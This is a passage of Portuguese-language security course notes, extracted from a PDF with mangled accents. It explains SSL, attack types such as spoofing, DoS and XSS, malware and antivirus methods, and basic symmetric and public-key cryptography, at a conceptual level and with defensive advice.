Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 1 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Introduccedilatildeo A Seguranccedila na InternetDevido ao modo como a Internet foi projetada ainda hoje existe uma ausecircncia de mecanismo quegarantam a privacidade e autenticaccedilatildeo para as camadas que estatildeo abaixo da aplicaccedilatildeo ou seja quando dasua criaccedilatildeo natildeo houve uma grande preocupaccedilatildeo com seguranccedila Dentre os vaacuterios problemas que aindaagravam esta situaccedilatildeo podemos destacar1) Senhas reutilizadas e natildeo cifradas2) Baixo niacutevel de seguranccedila em servidores de Dial-Up (linha discada)3) Falta de criteacuterio de seguranccedila na criaccedilatildeo de contas de usuaacuterios4) Monitoraccedilatildeo e expiraccedilatildeo de contas feita de forma ineficiente5) Falta de atenccedilatildeo quando a configuraccedilatildeo de servidores que executam algum tipo de CGI(Common Gateway Interface)Desta forma jamais execute um servidor web como root sendo indicado a criaccedilatildeo de um usuaacuterioespeciacutefico para tal accedilatildeo como por exemplo o usuaacuterio de grupo webserverO principal avanccedilo que ocorreu na seguranccedila da WEB nos uacuteltimos tempos foi a criaccedilatildeo do protocoloSSL (Secure Socket Layer) pelo Netscape este protocolo usa uma estrutura de trecircs camadas que emprega1) Autenticaccedilatildeo2) Criptografia ndash RSA e DES3) Verificaccedilatildeo de integridade ndash MDSComo funciona o processo1) Realizaccedilatildeo do Handshake (Aperto de Matildeos) ndash Definiccedilatildeo de uma chave secreta2) Iniacutecio da conexatildeo privada ndash Mecanismo de criptografia ndash DES ndash chave simeacutetrica3) Pode haver a autenticaccedilatildeo do cliente e do servidor via RSA ndash chave assimeacutetrica4) Transporte das mensagens ndash uso do algoritmo de verificaccedilatildeo de integridade ndash uso do SHAMDS e etcPodemos entatildeo perceber claramente que o objetivo deste protocolo de seguranccedila eacute prover aprivacidade e confiabilidade entre dois programas buscando estabelecer um processo de negociaccedilatildeo eemprego de funccedilotildees de autenticaccedilatildeo muacutetuaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 2 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20051) Conceitos BaacutesicosO Termo Seguranccedila segundo a ISO 7498-2 eacute utilizado para especificar os fatores necessaacuterios

para minimizar a vulnerabilidades de bens e recursos e estaacute relacionada a necessidades de proteccedilatildeo contraacesso ou manipulaccedilatildeo das informaccedilotildees confidenciais e utilizaccedilatildeo dos recursos de processamento de formanatildeo autorizadaDa mesma forma Vulnerabilidade eacute utilizada para especificar qualquer fraqueza que pode serexplorada para violar um sistema ou as informaccedilotildees que ele contemA necessidade de proteccedilatildeo deve ser definida tendo como base as possiacuteveis ldquoAmeaccedilasrdquo as quais oambiente estaacute exposto e deve ser formalizado em um documento oficial denominado Poliacutetica de Seguranccedila12) Ameaccedilas e AtaquesUma Ameaccedila consiste de uma possiacutevel violaccedilatildeo da seguranccedila de um ambiente ou sistema Asameaccedilas podem ser classificadas como1 Passivas Ativas2 Acidentais IntencionaisUm Ataque eacute a materializaccedilatildeo de uma ameaccedila e normalmente pode ocorrer de vaacuterias formasdiferentes mas normalmente eacute realizado atraveacutes das etapas1 Obter informaccedilotildees sobre o alvo - coleta do perfil do alvo2 Obter acesso inicial natildeo privilegiado ao sistema3 Explorar pontos fracos para aumentar o niacutevel de privileacutegio e expandir o acesso4 Executar o ataque propriamente dito5 Instalar porta dos fundos (backdoor)6 Cobrir rastrosDentre as teacutecnicas que podem ser utilizadas para proferir um ataque podemos destacar1 Phreaking - consiste na maacute utilizaccedilatildeo do sistema telefocircnico permitindo acesso gratuitoe ateacute mesmo interromper seu funcionamento2 Discagem de Guerra ou Discagem de Forccedila Bruta consiste no uso de ferramentaspara realizar a discagem sequumlencial para um nuacutemero aleatoacuterio de nuacutemeros com oobjetivo de detectar um modem Uma vez identificado um modem poderia ser utilizadoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 3 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005um ataque de senha para se ter acesso ao sistema3 Engenharia social consiste em se passar por uma outra pessoa com o objetivo decoletar informaccedilotildees para proferir o ataque em siacute (coleta de informaccedilotildees privilegiadas)Recentemente tem-se utilizado principalmente o e-mail para a realizaccedilatildeo desta teacutecnica

Esta teacutecnica eacute uma forma incriacutevelmente eficaz de se reunir informaccedilotildees sobre um dadoambiente u sistema alvo4 Quebra de senha tem por finalidade obter as senhas de acesso ao sistema ou de umaconta em especial As principais teacutecnicas que podem ser empregadas satildeomiddot Forccedila brutamiddot Dicionaacuteriomiddot Combinaccedilatildeo de palavrasComo natildeo existem senhas 100 seguras eacute uma questatildeo de tempo ateacute que um softwarede quebra de senha consiga descobrir uma senha5 Filtragem de Pacote (packet sniffing) almeja a coleta de nomes de usuaacuterio e senhasque trafegam de forma natildeo protegida pela rede e outros tipos de informaccedilotildeespertinentes para o invasor6 Varredura ICMP - Pinging esta teacutecnica eacute utilizada para determinar os possiacuteveis alvospara um determinado ataque mas tambeacutem pode ser utilizada por Administradores deRede para realizar o monitoramento da mesma7 Scanner de Portas consiste na determinaccedilatildeo de quais serviccedilos de rede estatildeo ativosnos hospedeiros da rede bem como da identificaccedilatildeo das principais vulnerabilidades aque estes hospedeiros estatildeo sujeitos Ao identificar o endereccedilo de um hospedeiro ativoo invasor pode utilizar este valor para forjar um ataque sem ser identificado8 Coleta do Finger Printing de um hospedeiro9 Coacutedigo malicioso (malware) programas desenvolvidos com objetivo de furto deinformaccedilotildees ou ateacute mesmo danificaccedilatildeo dos sistemasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 4 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200512) Os Principais tipos de Ataques1 Personificaccedilatildeo (masquerade) uma entidade faz-se passar por outras2 Replay apoacutes uma mensagem ser interceptada ela pode ser transmitida para permitir o acesso deum invasor ao sistema3 Modificaccedilatildeo de Conteuacutedo o conteuacutedo de uma mensagem alterado de forma furtiva4 Ataques Internos normalmente proferidos por usuaacuterios legiacutetimos que realizam operaccedilotildees ilegais5 Armadilhas (trapdoor) entidades do sistemas satildeo modificadas para produzir efeitos natildeoautorizados em resposta a determinadas mensagens ou intervalos de tempo6 Cavalos de Troacuteia entidades que executam funccedilotildees natildeo autorizadas como por exemplo umprocedimento de Login modificado

7 Recusa de Serviccedilo tem por objetivo impedir que entidades legitimas realizem suas funccedilotildeesTipo DoS e DdoS8 Spoofing IP - Esta eacute uma teacutecnica dita altamente sofisticada onde uma maacutequina eacute autenticada poroutra atraveacutes de Pacotes IP indicando ser uma fonte segura Dado que um computador ldquoXrdquo podemanter uma comunicaccedilatildeo com um outro computador ldquoYrdquo sem a necessidade da constanteverificaccedilatildeo de autenticidade Um hacker pode se disfarccedilar informando para ldquoXrdquo que sua maacutequina eacuteldquoYrdquo Para isto ele deve ser capaz de gerar os nuacutemeros de sequumlecircncia que satildeo usados durante oldquoAperto de matildeosrdquo entre dois servidores uma forma de se obter tais nuacutemeros eacute enviar uma seacuterie desolicitaccedilotildees de conexotildees com ldquoXrdquo e guardar os nuacutemeros gerados Com o tempo o hacker podedescobrir como ele gera estes nuacutemeros Descoberto o processo de geraccedilatildeo dos nuacutemeros ohacker inicia uma conexatildeo informando ser ldquoXrdquo mas como ele natildeo eacute a maacutequina indicada ele age asldquoescurasrdquo Feito a solicitaccedilatildeo ele envia um outro pacote com o nuacutemero de sequumlecircncia e com istofecha a conexatildeo Uma vez fechada a conexatildeo o usuaacuterio passa a trabalhar em um canalunidirecional uma vez que ele natildeo reabriraacute os pacotes de resposta Uma forma de se evitar estetipo de ataque eacute configurar o roteador para que ele natildeo aceite pacotes internet que simulamoriginar-se de um endereccedilo local Outra forma seria a verificaccedilatildeo dos ldquologsrdquo e do arquivo de hostconfiaacuteveis caso haja uma conexatildeo ativa com algum destes hosts mas sem que hajam processosem andamento provavelmente um ataque estaacute em accedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 5 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059 Negaccedilatildeo de Serviccedilo - Este tipo de ataque tem por objetivo deixar um ldquorecursordquo inoperanteldquomomentaneamenterdquo Existem basicamente dois tipos de ataques desta categoria o DoS e oDDoS este segundo se baseia no envio de uma grande quantidade de pacotes para um alvo deforma coordenada a partir de vaacuterias origens Devido a uma fragilidade do TCP (TransmissionControl Protocol) os endereccedilos da origem dos pacotes satildeo normalmente forjados Sendo que ostipos mais comuns de DoS se baseiam na prerrogativa que o cliente tem que aceitar a conexatildeo e

na limitaccedilatildeo de que um serviccedilo tem que aceitar um nuacutemero de conexotildees por vez Um doscuidados que devem ser tomados quando da configuraccedilatildeo dos equipamentos de rede eacute que elesnatildeo possam ser usados como fontes de ataques bem como contra os ataques propriamente ditosuma das formas de se fazer a segunda parte e retirar os serviccedilos que natildeo estatildeo sendo utilizadosoutra forma eacute realizar uma constante verificaccedilatildeo do traacutefico do site assim sendo quando umaatividade anormal for detectada uma atitude correspondente deve ser adotada como por exemplobloquear um endereccedilo de IPProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 6 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20052) MalwareDesde novembro de 1988 quando Robert Morris lanccedilou seu verme na internet a miacutedia apresentouo coacutedigo malicioso como se fosse um desastre natural o que natildeo deixa de ser uma verdade visto seusefeitos e como as pessoas se comportamOs viacuterus aleacutem de serem desastrosos para a produtividade de uma empresa devido ao seucomportamento epidecircmico ele pode consumir uma sensiacutevel parte da largura de banda de uma rede decomputadoresAtualmente existe mais de 40000 tipos distintos de viacuterus registrados Dos viacuterus conhecidos trecircs sedestacam pelo seu poder destrutivo e pelo seu modo de operaccedilatildeo O viacuterus ldquoMelissardquo desenvolvido porDavid Smith em 1999 causou um dano total de US$ 80 mil O viacuterus I love You causou um dano totalde US$ 10 bilhotildees e desativou mais de 10000 empresas incluindo o Departamento de Defesa NorteAmericano (DOD)Um dos motivos de raacutepida proliferaccedilatildeo do Viacuterus I love you foi causada pelo uso do cataacutelogo deendereccedilos do Microsoft Outlook Express e por explorar a curiosidade do usuaacuterioComo acontece no mundo real a cura para estas pragas estaacute sempre um passo atraacutes do seudesenvolvimento E atualmente os viacuterus deixaram de ser um pequeno incomodo se tornando uma realameaccedila para a comunidade comercial21) Ciclo de Vida do Viacuterus- Nascimento- Lanccedilamento- Proliferaccedilatildeo- Disparo

- Ativaccedilatildeo- Detecccedilatildeo- Eliminaccedilatildeo- Mutaccedilatildeo (volta ao primeiro estaacutegio)Os viacuterus podem utilizar vaacuterios meios de transporte originalmente os disquetes e os arquivosbaixados de BBS eram a principal fonte atualmente os e-mails e as redes promiacutescuas satildeo os dois maioresProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 7 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005grupos de risco de contaminaccedilatildeoAtualmente muitos viacuterus natildeo necessitam que o usuaacuterio executem um arquivo anexado basta abrir oe-mail ou visitar um site que o mesmo eacute automaticamente acionado22) Tipos de ViacuterusOs principais tipos de viacuterus satildeo1 Viacuterus de infecccedilatildeo de arquivos - um dos primeiros tipos de viacuterus Quando arquivosinfectados eram executados o viacuterus era automaticamente executado e se proliferavapara os demais arquivos executaacuteveis existentes no sistema2 Viacuterus do setor de boot - pouco comuns na atualidade foram uma praga no passadoeram carregados antes da execuccedilatildeo do sistema operacional e contaminavam todos osdemais discos inseridos no sistema Atualmente este tipo de viacuterus natildeo causa grandesdanos devido a funcionalidades incorporadas nos sistemas operacionais mais recentes3 Viacuterus de Macro - usam as linguagens de macro dos programas para infectar seusarquivos de dados Satildeo Viacuterus especiacuteficos dos programas e atacam principalmentedocumentos do Microsoft Word e Microsoft Excel4 Virus de Sript - satildeo escritos utilizando-se de programaccedilatildeo script principalmenteVisual Basic Script e Java Script normalmente ativos quando um e-mail eacute aberto ou umsite visitado5 Viacuterus Criptografado - foi o primeiro resultado da guerra entre desenvolvedores deviacuterus e anti-viacuterus como as assinaturas dos viacuterus satildeo normalmente sua forma dedetecccedilatildeo os viacuterus comeccedilaram a cifrar e embaralhar seus coacutedigos todas as vez que satildeoexecutados6 Viacuterus Polimorfico - satildeo viacuterus que possuem um sistema ativo de mutaccedilatildeo que natildeo

somente muda o viacuterus a cada vez que ele replica mas tambeacutem muda a rotina quedecifra Isto cria um viacuterus muito difiacutecil de se detectar Um exemplo de viacuterus destacategoria eacute One Half que criptoacutegrafa progressivamente o seu disco riacutegido tornando-oimpossiacutevel de ser lidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 8 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200523) Outros tipos de Malware1 Cavalos de Troacuteia2 Vermes - satildeo aplicativos designados para se espalharem pelas redes e se replicarem satildeoindependentes de outros programas aos arquivos e geralmente causam danos por causa desua replicaccedilatildeo fora de controle3 Coacutedigo malicioso em Java - esta linguagem normalmente eacute utilizada na Internet na forma deldquoappletsrdquo eu satildeo manipuladas pelo browser A seguranccedila desta linguagem de sua maacutequinavirtual contudo eacute inevitaacutevel que algueacutem usaraacute o Coacutedigo Java para escrever um programamalicioso4 Coacutedigo malicioso em Active X ndash esta ldquolinguagemrdquo eacute de propriedade da Microsoft e assimcomo a Java pode ser utilizada para difusatildeo de coacutedigo malicioso Contudo contem assinaturasdigitais que verificam o nome do autor do programa Depois o browser verifica se vocecirc confiaou natildeo no fornecedor do software Contudo jamais permita automaticamente todos osaplicativos de um dado auto visto a possibilidade de se falsificar um certificado24) Tecnologias de antiviacuterusExistem vaacuterias teacutecnicas que podem ser adotadas pelos antiviacuterus das quais podem-se destacar1) Investigaccedilatildeo de assinatura2) Monitoramento de atividades3) Verificaccedilatildeo de integridadeOs Pacotes de Investigaccedilatildeo procuram assinaturas e consistem de duas partes1) Um banco de dados contendo as assinaturas conhecidas2) Software de pesquisa e anaacutelise dos arquivos em busca destas assinaturasOutra forma de investigaccedilatildeo eacute a ldquoInvestigaccedilatildeo Heuriacutesticardquo que procura coacutedigo suspeito estessoftwares convergem os arquivos para uma aacuterea ldquovirtualrdquo do computador ndash aacuterea de quarentena os executame testam seu comportamentoUma vantagem da Investigaccedilatildeo Heuriacutestica eacute que ela pode ldquopegarrdquo novos viacuterus antes mesmo de

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 9 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ocorrer uma infecccedilatildeo ou do lanccedilamento do novo arquivo de assinaturasMas os investigadores podem oferecer ldquofalsos positivosrdquo contudo este problema tem sidogradativamente reduzidoOs ldquoMonitores de Atividaderdquo observam as accedilotildees que estatildeo sendo executadas no computador equando ocorre uma accedilatildeo suspeita o monitor envia um alerta para o usuaacuterio pedindo que o mesmo aceiteou rejeite a execuccedilatildeo do coacutedigo o que pode gerar certo niacutevel de inconveniecircncia ao usuaacuterioOs ldquoVerificadores de Integridaderdquo guarda informaccedilotildees detalhadas sobre os arquivos docomputador e setores do sistema Isso permite que ele possa determinar quando satildeo feitas mudanccedilas eentatildeo emitir um alerta ao usuaacuterioOs softwares antiviacuterus podem ser executados em trecircs locais distintos1048576 No Desktop ndash protegendo localmente os dados mas pode ser facilmente desabilitado pelousuaacuterio1048576 Nos Servidores ndash garante maior niacutevel de seguranccedila para os dados da rede mas podemsobrecarregar a operaccedilatildeo do servidor1048576 Nos Gateways da Rede ndash evita a entrada e saiacuteda de softwares maliciosos da rede Pode gerarum atraso na comunicaccedilatildeo contudo seu uso eacute altamente recomendadoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 10 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20053) Problemas de Seguranccedila da WEBQuando a WEB era formada por paacuteginas estaacutetuas natildeo havia possibilidade de realizaccedilatildeo decomeacutercio mas mesmo assim jaacute era alvo de ataques de seguranccedila como por exemplo a ldquodesfiguraratildeordquo doarquivo ldquoindexhtlmrdquoApesar de simples este ataque pode gerar a perda de credibilidade da empresa e a reduccedilatildeo daconfianccedila do usuaacuterioOutro tipo de ataque que jaacute era comum nesta eacutepoca era a alteraccedilatildeo ilegal dos servidores de ldquoDNSrdquoque permitem que sites fossem trocadosOs ataques de DNS natildeo geravam a perda dos dados da paacutegina mas causavam os mesmos danos acredibilidade e confianccedilaDurante estes ataques normalmente os ldquohackersrdquo utilizam-se da teacutecnica de ldquocamuflagem de IPrdquo aqual permite ocultar o endereccedilo de uma outra pessoa durante o ataque

Com o crescimento da web os sites de e-commece se tornaram o grande alvo dos hackers vistoque eles poderiam lucrar de vaacuterias formas principalmente financeiramenteA desfiguraccedilatildeo de Sites eacute o tipo de ataque mais simples e pode natildeo exigir grandes conhecimentosEacute o mais explorado pelos Script Kiddies Mesmo sendo um ataque simples ele causa seacuterios danos agraveempresa independente se o site eacute hospedado para ldquoterceirosrdquo31) Ataques de Negaccedilatildeo de ServiccediloApesar dos hackers ainda natildeo possuiacuterem uma uniatildeo eles trabalham em grupos de forma livrementeorganizada Estas caracteriacutesticas eacute que tornam este tipo de ataque possiacutevelO objetivo deste ataque natildeo eacute causar perda de dados ou acesso ilegal ao sistema E sim tornar oservidor incapaz de responder aos clientes reais que tentam acessar o siteUma das primeiras formas desse tipo de ataque era aplicado contra o sistema telefocircnico dedeterminadas organizaccedilotildees neste caso os ldquohackersrdquo simplesmente ligavam repetidamente para osnuacutemeros de telefones dos SACs impedindo aos reais cliente o acesso ao serviccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 11 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Os hackers podem automatizar estes ataques atraveacutes dos ldquoZumbisrdquo que satildeo sistemas previamentecomprometidos para um ataque Este tipo de ataque pode caracterizar um DDOS no qual o invasor natildeopode ser diretamente rastreadoNovos Zumbis satildeo facilmente ldquoalertadosrdquo pois cada vez mais existem pessoas com acesso debanda larga nas quais conectam seus computadores de forma protegida para um longo periacuteodo de tempoDentre as ferramentas utilizadas pelos ldquohackersrdquo podemos destacar o Tribal Flood Network e oTrin00Tipos de ataque1) Ataque Smurf uma rede com pedidos ldquoPacket Internet Groperrdquo (PING) neste casoa rede eacute sobrecarregada com uma grande quantidade de pedidos e replicar de ping2) Ataque Fraggle este ataque usa o protocolo UDP ndash User Datagram Protocol damesma forma que o ataque smurf3) Ataque de Inundaccedilatildeo de SYN cliente e servidor trocam uma seacuterie de mensagensa fim de estabelecer uma conexatildeo O primeiro pacote eacute o SYN (abreviaccedilatildeosynchroneze ndash sincronizar)O noacute da rede responde ao cliente com uma mensagem SYN-ACK (synchronize

acknowledgment ndash confirmaccedilatildeo de sincronizaccedilatildeo) Durante o ataque o hacker natildeoenvia a confirmaccedilatildeo (ACK) deixando o host aguardando com uma conexatildeo meioalertaQuando o host atinge seu limite de conexotildees ele passa a recusar quaisquerconexotildees que chegarem incluindo as vaacutelidas Estas conexotildees alertas iratildeo expiar oteacutermino do ataque e a negaccedilatildeo do serviccedilo terminaraacuteO anonimato de um ataque de Negaccedilatildeo de Serviccedilo torna-o um ataque poucovisiacutevel mas com elevados danos agrave publicidade e agrave imagem da empresaApesar de serem faacuteceis de se gerar satildeo difiacuteceis de se impedir a uacutenica coisa quepode ser feita eacute tornar sua rede mais difiacutecil de atacar e seus computadores de setornarem ZumbiProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 12 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200532) Estouro de BuffferBuffers satildeo aacutereas de armazenamento temporaacuterio1) Possui tamanho limitado2) Estou de Buffer ocorre quando os dados excedem o limite3) Os dados excelentes podem alterar outras regiotildees de dados incluindo as instruccedilotildees doPrograma4) Pode ser utilizado para executar coacutedigo malicioso e abrir acesso ao sistema5) Existem em todos os sistemasSoluccedilatildeo1) Validaccedilatildeo dos dados antes de serem enviados para o buffer2) Pode atrasar as transaccedilotildees e reduzir a largura da banda3) A validaccedilatildeo deve ser feita principalmente no servidor33) Vulnerabilidade no campo do formulaacuterio1) Principalmente nos campos ocultos2) Campos podem ser vistos selecionando as opccedilotildees ldquoEXIBIRCOacuteDIGO FONTErdquo3) O hacker pode alterar estes campos antes de submete-los ao site4) Formulaacuterios com coacutedigo de sessatildeo tambeacutem satildeo vulneraacuteveis a este ataque e poderiampermitir a um hacker apanhar a sessatildeo de um usuaacuterio realSoluccedilatildeo1) Todos os dados retornados para um formulaacuterio devem ser verificados para o servidor2) Incluindo aqueles que o usuaacuterio natildeo possui ldquoacessordquo direto3) Java Script no lado do cliente reduz o problema mas natildeo resolve pois pode serdesabilitado34) Modificaccedilatildeo do arquivo de Cookie1) Cookies satildeo arquivos texto que guardam as preferecircncias do usuaacuterio

2) Satildeo arquivos natildeo cifrados logo podem ser facilmente alterados por um hackerProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 13 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200535) Scripts entre sites1) Um usuaacuterio pode ser atraiacutedo a executar um coacutedigo malicioso contra um site2) Pode ocorrer quando um usuaacuterio recebe um e-mail com um Hiperlink3) Ao clicar no link ele eacute direcionado ao site com o coacutedigo malicioso4) O servidor web aceita o coacutedigo pensando ser de um usuaacuterio confiaacutevel e o executa5) Este script poderaacute fornecer ao hacker informaccedilotildees confidenciais sobre o usuaacuterio36) Vulnerabilidades do Sistema Operacional e das Aplicaccedilotildees1) Haacute falhas de seguranccedila em todos os sistemas operacionais e aplicaccedilotildees2) Monitorar falhas e aplicar os patches3) Fornecedores relutam em publicar os pontos fracos4) Configuraccedilotildees mal feitas portas dos fundos e depuraccedilotildees tambeacutem podem deixar o sitevulneraacutevel5) Programadores tambeacutem podem deixar comandos de depuraccedilatildeo que foram uacuteteis durante odesenvolvimento mas agora representa um grande riscoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 14 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054) A criptografia e seu usoA criptografia eacute a arteciecircncia de escrever de forma cifradacodificada Ou seja eacute o conjunto deteacutecnicas que permite reescrever uma mensagem ldquoclarardquo de forma incompreensiacutevel e permitir que somente odestinataacuterio entenda a mensagemA criptografia tem por finalidade garantir a privacidade atraveacutes do uso de algoritmos que trabalhamcomo funccedilotildees matemaacuteticas que mapeiam um dado de entrada em uma outra informaccedilatildeo na saiacuteda que eacute naverdade o texto cifradoA palavra criptografia vem do grego krypto = esconder + grafo = escritagrafiaA criptoanaacutelise eacute a ciecircncia de determinar a chave de criptografia ou decifrar as mensagens Acriptologia eacute a ciecircncia que combina ambas as anteriores E o criptanalista pode ser tanto o mocinhoquanto o vilatildeoOs componentes baacutesicos de uma estrutura de criptografia satildeo1) Dado de entrada - texto plano2) Funccedilatildeo de mapeamento - algoritmo de criptografia3) Segredo - chave que cifra eou decifra4) Dado de saiacuteda - texto cifrado41) Sistema Criptograacutefico

Estes sistemas podem ser baseados em dois tipos de algoritmos nos restritos e nos modernosAqueles que se baseiam nos algoritmos modernos podem ser simeacutetricos e assimeacutetricos Os sistemassimeacutetricos fazem uso de somente uma chave dai o seu nome jaacute os sistemas assimeacutetricos fazem uso deduas chaves a puacuteblica e a privada411) Algoritmos restritos1) O algoritmo eacute o segredo2) Natildeo eacute muito seguro3) Satildeo difiacuteceis de se desenvolver e distribuir enquanto continuam secretosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 15 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005412) EsteganografiaEsconder uma mensagem secreta em outra mensagem Exemplos1) Tinta invisiacutevel - mensagem publica usando ldquotinta normalrdquo e a secreta usando tinta ldquoinvisiacutevelrdquo2) Imagem graacutefica1) Incluir uma mensagem secreta dentro de uma ldquofigurardquo2) Ou em se cabeccedilalho de dados413) Cifras de substituiccedilatildeo1) Longo histoacuterico2) Substitui cada caraacuteter do texto puro para um outro siacutembolo na mensagem secreta3) As substituiccedilotildees podem ser arbitraacuterias ou podem ter um padratildeo determinado como umarotaccedilatildeo do alfabeto4) Satildeo faacuteceis de descobrir devido aos padrotildees de letra e frequumlecircncia em cada linguagemExemplo Taquigrafia Coacutedigo Morse American Standart Code For Informatran Interchange(ASCII)414) Cifras de Transposiccedilatildeo1) Mantem o coacutedigo puro intacto mas trocam ou misturam a ordem de alguma forma2) Uma versatildeo desta teacutecnica eacute a ldquoCifra de transposiccedilatildeo colunar simplesrdquoExemplo de funcionamento(1) Definiccedilatildeo da cifra originalTHIS IS A SIMPLE COLUMNAR TRANSPOSITION CIPHER(2) Definiccedilatildeo do formato da matrizFrase ndash 40 caracteresGrade ndash 8 colunas5 linhasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 16 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(3) Inserindo dados na gradeT H I S I S A SI M P L E C O L

U M N A R T R AN S P O S I T IO N C I P H E R(4) Reescrita da cifra = seguindo-se as colunas verticalmenteTIUNO HMMSN IPNPC SLAOIIERSP SCTIH AORTE SLAIRVersotildees mais sofisticadas usam padrotildees mais complexos como ziguezague pela gradeComo as palavras estatildeo mantendo a mesma frequumlecircncia esta teacutecnica eacute facilmente detectadae quebrada42) Teacutecnicas Modernas de Codificaccedilatildeo1) Usam algoritmos irrestritos e chaves para manter as informaccedilotildees seguras2) Superiores aos sistemas de algoritmo restrito3) Muitos possuem anos de resistecircncia agrave criptoanaacutelise intensa4) Muitas pessoas podem usar o mesmo algoritmo basta mudar a chave5) Quando a chave for comprometida basta gerar uma nova6) Duas teacutecnicas baacutesicas1) Criptografia simeacutetrica2) Criptografia assimeacutetrica ou criptografia puacuteblica7) Muitos sistemas usam ambas as teacutecnicas421 Criptografia Simeacutetrica1) Conhecido como codificaccedilatildeo de chave secreta2) Uma mesma chave utilizada para codificar e decodificar3) Desta forma a chave eacute o segredo4) Eacute muito utilizada em conexotildees seguras para realizar a troca das chaves temporaacuteriasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 17 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Exemplo de algoritmos1) DES ndash Data Encyptron Standard2) Triple DES3) IDEA ndash International Data Encyption Algorithm4) Blowfish5) Rot 136) RCSEstes algoritmos podem ser de dois tipos1) Algoritmos de Fluxo ndash que trabalham com o texto um byte por vez2) Algoritmos de Bloco ndash trabalham sobre blocos de tamanha fixoOs sistemas simeacutetricos satildeo mais simples e mais raacutepidos do que aqueles de chave puacuteblica (1000 vezesmais raacutepido) mas possui a desvantagem de que dois usuaacuterios distintos tenham conhecimento do mesmosegredo (chave) Ambos os usuaacuterios satildeo responsaacuteveis pela seguranccedila da chave422 Criptografia para chave puacuteblica (assimeacutetrica)Foi criada em 1976 por dois matemaacuteticos de Stanford Whitfield Diffie e Martin Hellman Esta

resolve o problema do uso da chave secreta existente na criptografia simeacutetrica para tal faz uso de duaschaves (privada - cifra e puacuteblica- decifra) Estas duas chaves satildeo diferentes contudo possuem umrelacionamento matemaacutetico todavia natildeo eacute possiacutevel derivar a chave privada a partir da puacuteblica e vice-versaelas se baseiam em nuacutemeros primos fatoraccedilatildeo logaritmos e outras funccedilotildees matemaacuteticas Neste caso otamanho da chave eacute quem determina a eficiecircncia do processoO principal deste tipo de criptograma eacute o RSA criado por Ron L Rivert Adi Shamir e LeonardAdelman a seguranccedila deste algoritmo se baseia na dificuldade de se fatorar nuacutemeros extensos Segundopesquisadores para desvendar o sistema RSA Data Security usando uma chave de 760 bits seriamnecessaacuterios 4300 computadores e 50 anosO uso destas chaves permite o estabelecimento da conexatildeo segura entre duas entidades sem opreacutevio conhecimento das chaves Visto que quando uma entidade ldquoXrdquo precisa enviar uma mensagem paraldquoYrdquo ela usa a chave puacuteblica de ldquoYrdquo para cifrar a mensagem e somente a entidade ldquoYrdquo seraacute capaz dedecifrar a mensagem pois ldquosomenterdquo ela conhece a sua chave privadaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 18 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005423 Criptossistemas HibridosEstes sistemas fazem uso do sistema de chave puacuteblica apenas para realizarem o envio e troca dechaves para a transmissatildeo de dados eacute utilizada a criptografia simeacutetrica e a chave enviada anteriormente OCriptossistemas hiacutebridos aproveitam o melhor das duas tecnologias Um exemplo de sistema hiacutebrido eacute oimplementado pelo protocolo 